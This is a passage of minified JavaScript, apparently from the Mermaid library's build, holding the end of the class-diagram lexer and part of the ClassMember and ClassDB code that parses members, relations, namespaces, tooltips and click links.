fe=this.match.split(/(?:\r\n?|\n)/g);this.match=this.match.substr(0,this.match.length-1),this.matched=this.matched.substr(0,this.matched.length-1),Fe.length-1&&(this.yylineno-=Fe.length-1);var xe=this.yylloc.range;return this.yylloc={first_line:this.yylloc.first_line,last_line:this.yylineno+1,first_column:this.yylloc.first_column,last_column:Fe?(Fe.length===fe.length?this.yylloc.first_column:0)+fe[fe.length-Fe.length].length-Fe[0].length:this.yylloc.first_column-Ce},this.options.ranges&&(this.yylloc.range=[xe[0],xe[0]+this.yyleng-Ce]),this.yyleng=this.yytext.length,this},"unput"),more:o(function(){return this._more=!0,this},"more"),reject:o(function(){if(this.options.backtrack_lexer)this._backtrack=!0;else return this.parseError("Lexical error on line "+(this.yylineno+1)+`. You can only invoke reject() in the lexer when the lexer is of the backtracking persuasion (options.backtrack_lexer = true). +`+this.showPosition(),{text:"",token:null,line:this.yylineno});return this},"reject"),less:o(function(Ne){this.unput(this.match.slice(Ne))},"less"),pastInput:o(function(){var Ne=this.matched.substr(0,this.matched.length-this.match.length);return(Ne.length>20?"...":"")+Ne.substr(-20).replace(/\n/g,"")},"pastInput"),upcomingInput:o(function(){var Ne=this.match;return Ne.length<20&&(Ne+=this._input.substr(0,20-Ne.length)),(Ne.substr(0,20)+(Ne.length>20?"...":"")).replace(/\n/g,"")},"upcomingInput"),showPosition:o(function(){var Ne=this.pastInput(),Ce=new Array(Ne.length+1).join("-");return Ne+this.upcomingInput()+` +`+Ce+"^"},"showPosition"),test_match:o(function(Ne,Ce){var Fe,fe,xe;if(this.options.backtrack_lexer&&(xe={yylineno:this.yylineno,yylloc:{first_line:this.yylloc.first_line,last_line:this.last_line,first_column:this.yylloc.first_column,last_column:this.yylloc.last_column},yytext:this.yytext,match:this.match,matches:this.matches,matched:this.matched,yyleng:this.yyleng,offset:this.offset,_more:this._more,_input:this._input,yy:this.yy,conditionStack:this.conditionStack.slice(0),done:this.done},this.options.ranges&&(xe.yylloc.range=this.yylloc.range.slice(0))),fe=Ne[0].match(/(?:\r\n?|\n).*/g),fe&&(this.yylineno+=fe.length),this.yylloc={first_line:this.yylloc.last_line,last_line:this.yylineno+1,first_column:this.yylloc.last_column,last_column:fe?fe[fe.length-1].length-fe[fe.length-1].match(/\r?\n?/)[0].length:this.yylloc.last_column+Ne[0].length},this.yytext+=Ne[0],this.match+=Ne[0],this.matches=Ne,this.yyleng=this.yytext.length,this.options.ranges&&(this.yylloc.range=[this.offset,this.offset+=this.yyleng]),this._more=!1,this._backtrack=!1,this._input=this._input.slice(Ne[0].length),this.matched+=Ne[0],Fe=this.performAction.call(this,this.yy,this,Ce,this.conditionStack[this.conditionStack.length-1]),this.done&&this._input&&(this.done=!1),Fe)return Fe;if(this._backtrack){for(var W in xe)this[W]=xe[W];return!1}return!1},"test_match"),next:o(function(){if(this.done)return this.EOF;this._input||(this.done=!0);var Ne,Ce,Fe,fe;this._more||(this.yytext="",this.match="");for(var xe=this._currentRules(),W=0;WCe[0].length)){if(Ce=Fe,fe=W,this.options.backtrack_lexer){if(Ne=this.test_match(Fe,xe[W]),Ne!==!1)return Ne;if(this._backtrack){Ce=!1;continue}else return!1}else if(!this.options.flex)break}return Ce?(Ne=this.test_match(Ce,xe[fe]),Ne!==!1?Ne:!1):this._input===""?this.EOF:this.parseError("Lexical error on line "+(this.yylineno+1)+`. Unrecognized text. +`+this.showPosition(),{text:"",token:null,line:this.yylineno})},"next"),lex:o(function(){var Ce=this.next();return Ce||this.lex()},"lex"),begin:o(function(Ce){this.conditionStack.push(Ce)},"begin"),popState:o(function(){var Ce=this.conditionStack.length-1;return Ce>0?this.conditionStack.pop():this.conditionStack[0]},"popState"),_currentRules:o(function(){return this.conditionStack.length&&this.conditionStack[this.conditionStack.length-1]?this.conditions[this.conditionStack[this.conditionStack.length-1]].rules:this.conditions.INITIAL.rules},"_currentRules"),topState:o(function(Ce){return Ce=this.conditionStack.length-1-Math.abs(Ce||0),Ce>=0?this.conditionStack[Ce]:"INITIAL"},"topState"),pushState:o(function(Ce){this.begin(Ce)},"pushState"),stateStackSize:o(function(){return this.conditionStack.length},"stateStackSize"),options:{},performAction:o(function(Ce,Fe,fe,xe){var W=xe;switch(fe){case 0:return 62;case 1:return 63;case 2:return 64;case 3:return 65;case 4:break;case 5:break;case 6:return this.begin("acc_title"),33;break;case 7:return this.popState(),"acc_title_value";break;case 8:return this.begin("acc_descr"),35;break;case 9:return this.popState(),"acc_descr_value";break;case 10:this.begin("acc_descr_multiline");break;case 11:this.popState();break;case 12:return"acc_descr_multiline_value";case 13:return 8;case 14:break;case 15:return 7;case 16:return 7;case 17:return"EDGE_STATE";case 18:this.begin("callback_name");break;case 19:this.popState();break;case 20:this.popState(),this.begin("callback_args");break;case 21:return 79;case 22:this.popState();break;case 23:return 80;case 24:this.popState();break;case 25:return"STR";case 26:this.begin("string");break;case 27:return 82;case 28:return 57;case 29:return this.begin("namespace"),42;break;case 30:return this.popState(),8;break;case 31:break;case 32:return this.begin("namespace-body"),39;break;case 33:return this.popState(),41;break;case 34:return"EOF_IN_STRUCT";case 35:return 8;case 36:break;case 37:return"EDGE_STATE";case 38:return this.begin("class"),46;break;case 39:return this.popState(),8;break;case 40:break;case 41:return this.popState(),this.popState(),41;break;case 42:return this.begin("class-body"),39;break;case 43:return this.popState(),41;break;case 44:return"EOF_IN_STRUCT";case 45:return"EDGE_STATE";case 46:return"OPEN_IN_STRUCT";case 47:break;case 48:return"MEMBER";case 49:return 83;case 50:return 75;case 51:return 76;case 52:return 78;case 53:return 54;case 54:return 56;case 55:return 49;case 56:return 50;case 57:return 81;case 58:this.popState();break;case 59:return"GENERICTYPE";case 60:this.begin("generic");break;case 61:this.popState();break;case 62:return"BQUOTE_STR";case 63:this.begin("bqstring");break;case 64:return 77;case 65:return 77;case 66:return 77;case 67:return 77;case 68:return 69;case 69:return 69;case 70:return 71;case 71:return 71;case 72:return 70;case 73:return 68;case 74:return 72;case 75:return 73;case 76:return 74;case 77:return 22;case 78:return 44;case 79:return 100;case 80:return 18;case 81:return"PLUS";case 82:return 87;case 83:return 61;case 84:return 89;case 85:return 89;case 86:return 90;case 87:return"EQUALS";case 88:return"EQUALS";case 89:return 60;case 90:return 12;case 91:return 14;case 92:return"PUNCTUATION";case 93:return 86;case 94:return 102;case 95:return 48;case 96:return 48;case 97:return 9}},"anonymous"),rules:[/^(?:.*direction\s+TB[^\n]*)/,/^(?:.*direction\s+BT[^\n]*)/,/^(?:.*direction\s+RL[^\n]*)/,/^(?:.*direction\s+LR[^\n]*)/,/^(?:%%(?!\{)*[^\n]*(\r?\n?)+)/,/^(?:%%[^\n]*(\r?\n)*)/,/^(?:accTitle\s*:\s*)/,/^(?:(?!\n||)*[^\n]*)/,/^(?:accDescr\s*:\s*)/,/^(?:(?!\n||)*[^\n]*)/,/^(?:accDescr\s*\{\s*)/,/^(?:[\}])/,/^(?:[^\}]*)/,/^(?:\s*(\r?\n)+)/,/^(?:\s+)/,/^(?:classDiagram-v2\b)/,/^(?:classDiagram\b)/,/^(?:\[\*\])/,/^(?:call[\s]+)/,/^(?:\([\s]*\))/,/^(?:\()/,/^(?:[^(]*)/,/^(?:\))/,/^(?:[^)]*)/,/^(?:["])/,/^(?:[^"]*)/,/^(?:["])/,/^(?:style\b)/,/^(?:classDef\b)/,/^(?:namespace\b)/,/^(?:\s*(\r?\n)+)/,/^(?:\s+)/,/^(?:[{])/,/^(?:[}])/,/^(?:$)/,/^(?:\s*(\r?\n)+)/,/^(?:\s+)/,/^(?:\[\*\])/,/^(?:class\b)/,/^(?:\s*(\r?\n)+)/,/^(?:\s+)/,/^(?:[}])/,/^(?:[{])/,/^(?:[}])/,/^(?:$)/,/^(?:\[\*\])/,/^(?:[{])/,/^(?:[\n])/,/^(?:[^{}\n]*)/,/^(?:cssClass\b)/,/^(?:callback\b)/,/^(?:link\b)/,/^(?:click\b)/,/^(?:note for\b)/,/^(?:note\b)/,/^(?:<<)/,/^(?:>>)/,/^(?:href\b)/,/^(?:[~])/,/^(?:[^~]*)/,/^(?:~)/,/^(?:[`])/,/^(?:[^`]+)/,/^(?:[`])/,/^(?:_self\b)/,/^(?:_blank\b)/,/^(?:_parent\b)/,/^(?:_top\b)/,/^(?:\s*<\|)/,/^(?:\s*\|>)/,/^(?:\s*>)/,/^(?:\s*<)/,/^(?:\s*\*)/,/^(?:\s*o\b)/,/^(?:\s*\(\))/,/^(?:--)/,/^(?:\.\.)/,/^(?::{1}[^:\n;]+)/,/^(?::{3})/,/^(?:-)/,/^(?:\.)/,/^(?:\+)/,/^(?::)/,/^(?:,)/,/^(?:#)/,/^(?:#)/,/^(?:%)/,/^(?:=)/,/^(?:=)/,/^(?:\w+)/,/^(?:\[)/,/^(?:\])/,/^(?:[!"#$%&'*+,-.`?\\/])/,/^(?:[0-9]+)/,/^(?:[\u00AA\u00B5\u00BA\u00C0-\u00D6\u00D8-\u00F6]|[\u00F8-\u02C1\u02C6-\u02D1\u02E0-\u02E4\u02EC\u02EE\u0370-\u0374\u0376\u0377]|[\u037A-\u037D\u0386\u0388-\u038A\u038C\u038E-\u03A1\u03A3-\u03F5]|[\u03F7-\u0481\u048A-\u0527\u0531-\u0556\u0559\u0561-\u0587\u05D0-\u05EA]|[\u05F0-\u05F2\u0620-\u064A\u066E\u066F\u0671-\u06D3\u06D5\u06E5\u06E6\u06EE]|[\u06EF\u06FA-\u06FC\u06FF\u0710\u0712-\u072F\u074D-\u07A5\u07B1\u07CA-\u07EA]|[\u07F4\u07F5\u07FA\u0800-\u0815\u081A\u0824\u0828\u0840-\u0858\u08A0]|[\u08A2-\u08AC\u0904-\u0939\u093D\u0950\u0958-\u0961\u0971-\u0977]|[\u0979-\u097F\u0985-\u098C\u098F\u0990\u0993-\u09A8\u09AA-\u09B0\u09B2]|[\u09B6-\u09B9\u09BD\u09CE\u09DC\u09DD\u09DF-\u09E1\u09F0\u09F1\u0A05-\u0A0A]|[\u0A0F\u0A10\u0A13-\u0A28\u0A2A-\u0A30\u0A32\u0A33\u0A35\u0A36\u0A38\u0A39]|[\u0A59-\u0A5C\u0A5E\u0A72-\u0A74\u0A85-\u0A8D\u0A8F-\u0A91\u0A93-\u0AA8]|[\u0AAA-\u0AB0\u0AB2\u0AB3\u0AB5-\u0AB9\u0ABD\u0AD0\u0AE0\u0AE1\u0B05-\u0B0C]|[\u0B0F\u0B10\u0B13-\u0B28\u0B2A-\u0B30\u0B32\u0B33\u0B35-\u0B39\u0B3D\u0B5C]|[\u0B5D\u0B5F-\u0B61\u0B71\u0B83\u0B85-\u0B8A\u0B8E-\u0B90\u0B92-\u0B95\u0B99]|[\u0B9A\u0B9C\u0B9E\u0B9F\u0BA3\u0BA4\u0BA8-\u0BAA\u0BAE-\u0BB9\u0BD0]|[\u0C05-\u0C0C\u0C0E-\u0C10\u0C12-\u0C28\u0C2A-\u0C33\u0C35-\u0C39\u0C3D]|[\u0C58\u0C59\u0C60\u0C61\u0C85-\u0C8C\u0C8E-\u0C90\u0C92-\u0CA8\u0CAA-\u0CB3]|[\u0CB5-\u0CB9\u0CBD\u0CDE\u0CE0\u0CE1\u0CF1\u0CF2\u0D05-\u0D0C\u0D0E-\u0D10]|[\u0D12-\u0D3A\u0D3D\u0D4E\u0D60\u0D61\u0D7A-\u0D7F\u0D85-\u0D96\u0D9A-\u0DB1]|[\u0DB3-\u0DBB\u0DBD\u0DC0-\u0DC6\u0E01-\u0E30\u0E32\u0E33\u0E40-\u0E46\u0E81]|[\u0E82\u0E84\u0E87\u0E88\u0E8A\u0E8D\u0E94-\u0E97\u0E99-\u0E9F\u0EA1-\u0EA3]|[\u0EA5\u0EA7\u0EAA\u0EAB\u0EAD-\u0EB0\u0EB2\u0EB3\u0EBD\u0EC0-\u0EC4\u0EC6]|[\u0EDC-\u0EDF\u0F00\u0F40-\u0F47\u0F49-\u0F6C\u0F88-\u0F8C\u1000-\u102A]|[\u103F\u1050-\u1055\u105A-\u105D\u1061\u1065\u1066\u106E-\u1070\u1075-\u1081]|[\u108E\u10A0-\u10C5\u10C7\u10CD\u10D0-\u10FA\u10FC-\u1248\u124A-\u124D]|[\u1250-\u1256\u1258\u125A-\u125D\u1260-\u1288\u128A-\u128D\u1290-\u12B0]|[\u12B2-\u12B5\u12B8-\u12BE\u12C0\u12C2-\u12C5\u12C8-\u12D6\u12D8-\u1310]|[\u1312-\u1315\u1318-\u135A\u1380-\u138F\u13A0-\u13F4\u1401-\u166C]|[\u166F-\u167F\u1681-\u169A\u16A0-\u16EA\u1700-\u170C\u170E-\u1711]|[\u1720-\u1731\u1740-\u1751\u1760-\u176C\u176E-\u1770\u1780-\u17B3\u17D7]|[\u17DC\u1820-\u1877\u1880-\u18A8\u18AA\u18B0-\u18F5\u1900-\u191C]|[\u1950-\u196D\u1970-\u1974\u1980-\u19AB\u19C1-\u19C7\u1A00-\u1A16]|[\u1A20-\u1A54\u1AA7\u1B05-\u1B33\u1B45-\u1B4B\u1B83-\u1BA0\u1BAE\u1BAF]|[\u1BBA-\u1BE5\u1C00-\u1C23\u1C4D-\u1C4F\u1C5A-\u1C7D\u1CE9-\u1CEC]|[\u1CEE-\u1CF1\u1CF5\u1CF6\u1D00-\u1DBF\u1E00-\u1F15\u1F18-\u1F1D]|[\u1F20-\u1F45\u1F48-\u1F4D\u1F50-\u1F57\u1F59\u1F5B\u1F5D\u1F5F-\u1F7D]|[\u1F80-\u1FB4\u1FB6-\u1FBC\u1FBE\u1FC2-\u1FC4\u1FC6-\u1FCC\u1FD0-\u1FD3]|[\u1FD6-\u1FDB\u1FE0-\u1FEC\u1FF2-\u1FF4\u1FF6-\u1FFC\u2071\u207F]|[\u2090-\u209C\u2102\u2107\u210A-\u2113\u2115\u2119-\u211D\u2124\u2126\u2128]|[\u212A-\u212D\u212F-\u2139\u213C-\u213F\u2145-\u2149\u214E\u2183\u2184]|[\u2C00-\u2C2E\u2C30-\u2C5E\u2C60-\u2CE4\u2CEB-\u2CEE\u2CF2\u2CF3]|[\u2D00-\u2D25\u2D27\u2D2D\u2D30-\u2D67\u2D6F\u2D80-\u2D96\u2DA0-\u2DA6]|[\u2DA8-\u2DAE\u2DB0-\u2DB6\u2DB8-\u2DBE\u2DC0-\u2DC6\u2DC8-\u2DCE]|[\u2DD0-\u2DD6\u2DD8-\u2DDE\u2E2F\u3005\u3006\u3031-\u3035\u303B\u303C]|[\u3041-\u3096\u309D-\u309F\u30A1-\u30FA\u30FC-\u30FF\u3105-\u312D]|[\u3131-\u318E\u31A0-\u31BA\u31F0-\u31FF\u3400-\u4DB5\u4E00-\u9FCC]|[\uA000-\uA48C\uA4D0-\uA4FD\uA500-\uA60C\uA610-\uA61F\uA62A\uA62B]|[\uA640-\uA66E\uA67F-\uA697\uA6A0-\uA6E5\uA717-\uA71F\uA722-\uA788]|[\uA78B-\uA78E\uA790-\uA793\uA7A0-\uA7AA\uA7F8-\uA801\uA803-\uA805]|[\uA807-\uA80A\uA80C-\uA822\uA840-\uA873\uA882-\uA8B3\uA8F2-\uA8F7\uA8FB]|[\uA90A-\uA925\uA930-\uA946\uA960-\uA97C\uA984-\uA9B2\uA9CF\uAA00-\uAA28]|[\uAA40-\uAA42\uAA44-\uAA4B\uAA60-\uAA76\uAA7A\uAA80-\uAAAF\uAAB1\uAAB5]|[\uAAB6\uAAB9-\uAABD\uAAC0\uAAC2\uAADB-\uAADD\uAAE0-\uAAEA\uAAF2-\uAAF4]|[\uAB01-\uAB06\uAB09-\uAB0E\uAB11-\uAB16\uAB20-\uAB26\uAB28-\uAB2E]|[\uABC0-\uABE2\uAC00-\uD7A3\uD7B0-\uD7C6\uD7CB-\uD7FB\uF900-\uFA6D]|[\uFA70-\uFAD9\uFB00-\uFB06\uFB13-\uFB17\uFB1D\uFB1F-\uFB28\uFB2A-\uFB36]|[\uFB38-\uFB3C\uFB3E\uFB40\uFB41\uFB43\uFB44\uFB46-\uFBB1\uFBD3-\uFD3D]|[\uFD50-\uFD8F\uFD92-\uFDC7\uFDF0-\uFDFB\uFE70-\uFE74\uFE76-\uFEFC]|[\uFF21-\uFF3A\uFF41-\uFF5A\uFF66-\uFFBE\uFFC2-\uFFC7\uFFCA-\uFFCF]|[\uFFD2-\uFFD7\uFFDA-\uFFDC])/,/^(?:\s)/,/^(?:\s)/,/^(?:$)/],conditions:{"namespace-body":{rules:[26,33,34,35,36,37,38,49,50,51,52,53,54,55,56,57,60,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,86,87,88,89,90,91,92,93,94,95,97],inclusive:!1},namespace:{rules:[26,29,30,31,32,49,50,51,52,53,54,55,56,57,60,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,86,87,88,89,90,91,92,93,94,95,97],inclusive:!1},"class-body":{rules:[26,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,60,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,86,87,88,89,90,91,92,93,94,95,97],inclusive:!1},class:{rules:[26,39,40,41,42,49,50,51,52,53,54,55,56,57,60,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,86,87,88,89,90,91,92,93,94,95,97],inclusive:!1},acc_descr_multiline:{rules:[11,12,26,49,50,51,52,53,54,55,56,57,60,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,86,87,88,89,90,91,92,93,94,95,97],inclusive:!1},acc_descr:{rules:[9,26,49,50,51,52,53,54,55,56,57,60,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,86,87,88,89,90,91,92,93,94,95,97],inclusive:!1},acc_title:{rules:[7,26,49,50,51,52,53,54,55,56,57,60,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,86,87,88,89,90,91,92,93,94,95,97],inclusive:!1},callback_args:{rules:[22,23,26,49,50,51,52,53,54,55,56,57,60,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,86,87,88,89,90,91,92,93,94,95,97],inclusive:!1},callback_name:{rules:[19,20,21,26,49,50,51,52,53,54,55,56,57,60,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,86,87,88,89,90,91,92,93,94,95,97],inclusive:!1},href:{rules:[26,49,50,51,52,53,54,55,56,57,60,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,86,87,88,89,90,91,92,93,94,95,97],inclusive:!1},struct:{rules:[26,49,50,51,52,53,54,55,56,57,60,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,86,87,88,89,90,91,92,93,94,95,97],inclusive:!1},generic:{rules:[26,49,50,51,52,53,54,55,56,57,58,59,60,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,86,87,88,89,90,91,92,93,94,95,97],inclusive:!1},bqstring:{rules:[26,49,50,51,52,53,54,55,56,57,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,86,87,88,89,90,91,92,93,94,95,97],inclusive:!1},string:{rules:[24,25,26,49,50,51,52,53,54,55,56,57,60,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,86,87,88,89,90,91,92,93,94,95,97],inclusive:!1},INITIAL:{rules:[0,1,2,3,4,5,6,8,10,13,14,15,16,17,18,26,27,28,29,38,49,50,51,52,53,54,55,56,57,60,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97],inclusive:!0}}};return Ie})();Ye.lexer=He;function Le(){this.yy={}}return o(Le,"Parser"),Le.prototype=Ye,Ye.Parser=Le,new Le})();a$.parser=a$;nC=a$});var Kye,k4,Qye=N(()=>{"use strict";Xt();gr();Kye=["#","+","~","-",""],k4=class{static{o(this,"ClassMember")}constructor(e,r){this.memberType=r,this.visibility="",this.classifier="",this.text="";let n=sr(e,ge());this.parseMember(n)}getDisplayDetails(){let e=this.visibility+rc(this.id);this.memberType==="method"&&(e+=`(${rc(this.parameters.trim())})`,this.returnType&&(e+=" : "+rc(this.returnType))),e=e.trim();let r=this.parseClassifier();return{displayText:e,cssStyle:r}}parseMember(e){let r="";if(this.memberType==="method"){let a=/([#+~-])?(.+)\((.*)\)([\s$*])?(.*)([$*])?/.exec(e);if(a){let s=a[1]?a[1].trim():"";if(Kye.includes(s)&&(this.visibility=s),this.id=a[2],this.parameters=a[3]?a[3].trim():"",r=a[4]?a[4].trim():"",this.returnType=a[5]?a[5].trim():"",r===""){let l=this.returnType.substring(this.returnType.length-1);/[$*]/.exec(l)&&(r=l,this.returnType=this.returnType.substring(0,this.returnType.length-1))}}}else{let i=e.length,a=e.substring(0,1),s=e.substring(i-1);Kye.includes(a)&&(this.visibility=a),/[$*]/.exec(s)&&(r=s),this.id=e.substring(this.visibility===""?0:1,r===""?i:i-1)}this.classifier=r,this.id=this.id.startsWith(" ")?" "+this.id.trim():this.id.trim();let n=`${this.visibility?"\\"+this.visibility:""}${rc(this.id)}${this.memberType==="method"?`(${rc(this.parameters)})${this.returnType?" : "+rc(this.returnType):""}`:""}`;this.text=n.replaceAll("<","<").replaceAll(">",">"),this.text.startsWith("\\<")&&(this.text=this.text.replace("\\<","~"))}parseClassifier(){switch(this.classifier){case"*":return"font-style:italic;";case"$":return"text-decoration:underline;";default:return""}}}});var iC,Zye,c0,sy,o$=N(()=>{"use strict";yr();pt();Xt();gr();tr();ci();Qye();iC="classId-",Zye=0,c0=o(t=>tt.sanitizeText(t,ge()),"sanitizeText"),sy=class{constructor(){this.relations=[];this.classes=new Map;this.styleClasses=new Map;this.notes=[];this.interfaces=[];this.namespaces=new Map;this.namespaceCounter=0;this.functions=[];this.lineType={LINE:0,DOTTED_LINE:1};this.relationType={AGGREGATION:0,EXTENSION:1,COMPOSITION:2,DEPENDENCY:3,LOLLIPOP:4};this.setupToolTips=o(e=>{let r=qe(".mermaidTooltip");(r._groups||r)[0][0]===null&&(r=qe("body").append("div").attr("class","mermaidTooltip").style("opacity",0)),qe(e).select("svg").selectAll("g.node").on("mouseover",a=>{let s=qe(a.currentTarget);if(s.attr("title")===null)return;let u=this.getBoundingClientRect();r.transition().duration(200).style("opacity",".9"),r.text(s.attr("title")).style("left",window.scrollX+u.left+(u.right-u.left)/2+"px").style("top",window.scrollY+u.top-14+document.body.scrollTop+"px"),r.html(r.html().replace(/<br\/>/g,"
    ")),s.classed("hover",!0)}).on("mouseout",a=>{r.transition().duration(500).style("opacity",0),qe(a.currentTarget).classed("hover",!1)})},"setupToolTips");this.direction="TB";this.setAccTitle=Rr;this.getAccTitle=Mr;this.setAccDescription=Ir;this.getAccDescription=Or;this.setDiagramTitle=$r;this.getDiagramTitle=Pr;this.getConfig=o(()=>ge().class,"getConfig");this.functions.push(this.setupToolTips.bind(this)),this.clear(),this.addRelation=this.addRelation.bind(this),this.addClassesToNamespace=this.addClassesToNamespace.bind(this),this.addNamespace=this.addNamespace.bind(this),this.setCssClass=this.setCssClass.bind(this),this.addMembers=this.addMembers.bind(this),this.addClass=this.addClass.bind(this),this.setClassLabel=this.setClassLabel.bind(this),this.addAnnotation=this.addAnnotation.bind(this),this.addMember=this.addMember.bind(this),this.cleanupLabel=this.cleanupLabel.bind(this),this.addNote=this.addNote.bind(this),this.defineClass=this.defineClass.bind(this),this.setDirection=this.setDirection.bind(this),this.setLink=this.setLink.bind(this),this.bindFunctions=this.bindFunctions.bind(this),this.clear=this.clear.bind(this),this.setTooltip=this.setTooltip.bind(this),this.setClickEvent=this.setClickEvent.bind(this),this.setCssStyle=this.setCssStyle.bind(this)}static{o(this,"ClassDB")}splitClassNameAndType(e){let r=tt.sanitizeText(e,ge()),n="",i=r;if(r.indexOf("~")>0){let a=r.split("~");i=c0(a[0]),n=c0(a[1])}return{className:i,type:n}}setClassLabel(e,r){let n=tt.sanitizeText(e,ge());r&&(r=c0(r));let{className:i}=this.splitClassNameAndType(n);this.classes.get(i).label=r,this.classes.get(i).text=`${r}${this.classes.get(i).type?`<${this.classes.get(i).type}>`:""}`}addClass(e){let r=tt.sanitizeText(e,ge()),{className:n,type:i}=this.splitClassNameAndType(r);if(this.classes.has(n))return;let a=tt.sanitizeText(n,ge());this.classes.set(a,{id:a,type:i,label:a,text:`${a}${i?`<${i}>`:""}`,shape:"classBox",cssClasses:"default",methods:[],members:[],annotations:[],styles:[],domId:iC+a+"-"+Zye}),Zye++}addInterface(e,r){let n={id:`interface${this.interfaces.length}`,label:e,classId:r};this.interfaces.push(n)}lookUpDomId(e){let r=tt.sanitizeText(e,ge());if(this.classes.has(r))return this.classes.get(r).domId;throw new Error("Class not found: "+r)}clear(){this.relations=[],this.classes=new Map,this.notes=[],this.interfaces=[],this.functions=[],this.functions.push(this.setupToolTips.bind(this)),this.namespaces=new Map,this.namespaceCounter=0,this.direction="TB",Sr()}getClass(e){return this.classes.get(e)}getClasses(){return this.classes}getRelations(){return this.relations}getNotes(){return this.notes}addRelation(e){X.debug("Adding relation: "+JSON.stringify(e));let r=[this.relationType.LOLLIPOP,this.relationType.AGGREGATION,this.relationType.COMPOSITION,this.relationType.DEPENDENCY,this.relationType.EXTENSION];e.relation.type1===this.relationType.LOLLIPOP&&!r.includes(e.relation.type2)?(this.addClass(e.id2),this.addInterface(e.id1,e.id2),e.id1=`interface${this.interfaces.length-1}`):e.relation.type2===this.relationType.LOLLIPOP&&!r.includes(e.relation.type1)?(this.addClass(e.id1),this.addInterface(e.id2,e.id1),e.id2=`interface${this.interfaces.length-1}`):(this.addClass(e.id1),this.addClass(e.id2)),e.id1=this.splitClassNameAndType(e.id1).className,e.id2=this.splitClassNameAndType(e.id2).className,e.relationTitle1=tt.sanitizeText(e.relationTitle1.trim(),ge()),e.relationTitle2=tt.sanitizeText(e.relationTitle2.trim(),ge()),this.relations.push(e)}addAnnotation(e,r){let n=this.splitClassNameAndType(e).className;this.classes.get(n).annotations.push(r)}addMember(e,r){this.addClass(e);let n=this.splitClassNameAndType(e).className,i=this.classes.get(n);if(typeof r=="string"){let a=r.trim();a.startsWith("<<")&&a.endsWith(">>")?i.annotations.push(c0(a.substring(2,a.length-2))):a.indexOf(")")>0?i.methods.push(new k4(a,"method")):a&&i.members.push(new k4(a,"attribute"))}}addMembers(e,r){Array.isArray(r)&&(r.reverse(),r.forEach(n=>this.addMember(e,n)))}addNote(e,r){let n={id:`note${this.notes.length}`,class:r,text:e};this.notes.push(n)}cleanupLabel(e){return e.startsWith(":")&&(e=e.substring(1)),c0(e.trim())}setCssClass(e,r){e.split(",").forEach(n=>{let i=n;/\d/.exec(n[0])&&(i=iC+i);let a=this.classes.get(i);a&&(a.cssClasses+=" "+r)})}defineClass(e,r){for(let n of e){let i=this.styleClasses.get(n);i===void 0&&(i={id:n,styles:[],textStyles:[]},this.styleClasses.set(n,i)),r&&r.forEach(a=>{if(/color/.exec(a)){let s=a.replace("fill","bgFill");i.textStyles.push(s)}i.styles.push(a)}),this.classes.forEach(a=>{a.cssClasses.includes(n)&&a.styles.push(...r.flatMap(s=>s.split(",")))})}}setTooltip(e,r){e.split(",").forEach(n=>{r!==void 0&&(this.classes.get(n).tooltip=c0(r))})}getTooltip(e,r){return r&&this.namespaces.has(r)?this.namespaces.get(r).classes.get(e).tooltip:this.classes.get(e).tooltip}setLink(e,r,n){let i=ge();e.split(",").forEach(a=>{let s=a;/\d/.exec(a[0])&&(s=iC+s);let l=this.classes.get(s);l&&(l.link=qt.formatUrl(r,i),i.securityLevel==="sandbox"?l.linkTarget="_top":typeof n=="string"?l.linkTarget=c0(n):l.linkTarget="_blank")}),this.setCssClass(e,"clickable")}setClickEvent(e,r,n){e.split(",").forEach(i=>{this.setClickFunc(i,r,n),this.classes.get(i).haveCallback=!0}),this.setCssClass(e,"clickable")}setClickFunc(e,r,n){let i=tt.sanitizeText(e,ge());if(ge().securityLevel!=="loose"||r===void 0)return;let s=i;if(this.classes.has(s)){let l=this.lookUpDomId(s),u=[];if(typeof n=="string"){u=n.split(/,(?=(?:(?:[^"]*"){2})*[^"]*$)/);for(let h=0;h{let h=document.querySelector(`[id="${l}"]`);h!==null&&h.addEventListener("click",()=>{qt.runFunc(r,...u)},!1)})}}bindFunctions(e){this.functions.forEach(r=>{r(e)})}getDirection(){return this.direction}setDirection(e){this.direction=e}addNamespace(e){this.namespaces.has(e)||(this.namespaces.set(e,{id:e,classes:new Map,children:{},domId:iC+e+"-"+this.namespaceCounter}),this.namespaceCounter++)}getNamespace(e){return this.namespaces.get(e)}getNamespaces(){return this.namespaces}addClassesToNamespace(e,r){if(this.namespaces.has(e))for(let n of r){let{className:i}=this.splitClassNameAndType(n);this.classes.get(i).parent=e,this.namespaces.get(e).classes.set(i,this.classes.get(i))}}setCssStyle(e,r){let n=this.classes.get(e);if(!(!r||!n))for(let i of r)i.includes(",")?n.styles.push(...i.split(",")):n.styles.push(i)}getArrowMarker(e){let r;switch(e){case 0:r="aggregation";break;case 1:r="extension";break;case 2:r="composition";break;case 3:r="dependency";break;case 4:r="lollipop";break;default:r="none"}return r}getData(){let e=[],r=[],n=ge();for(let a of this.namespaces.keys()){let s=this.namespaces.get(a);if(s){let l={id:s.id,label:s.id,isGroup:!0,padding:n.class.padding??16,shape:"rect",cssStyles:["fill: none","stroke: black"],look:n.look};e.push(l)}}for(let a of this.classes.keys()){let s=this.classes.get(a);if(s){let l=s;l.parentId=s.parent,l.look=n.look,e.push(l)}}let i=0;for(let a of this.notes){i++;let s={id:a.id,label:a.text,isGroup:!1,shape:"note",padding:n.class.padding??6,cssStyles:["text-align: left","white-space: nowrap",`fill: ${n.themeVariables.noteBkgColor}`,`stroke: 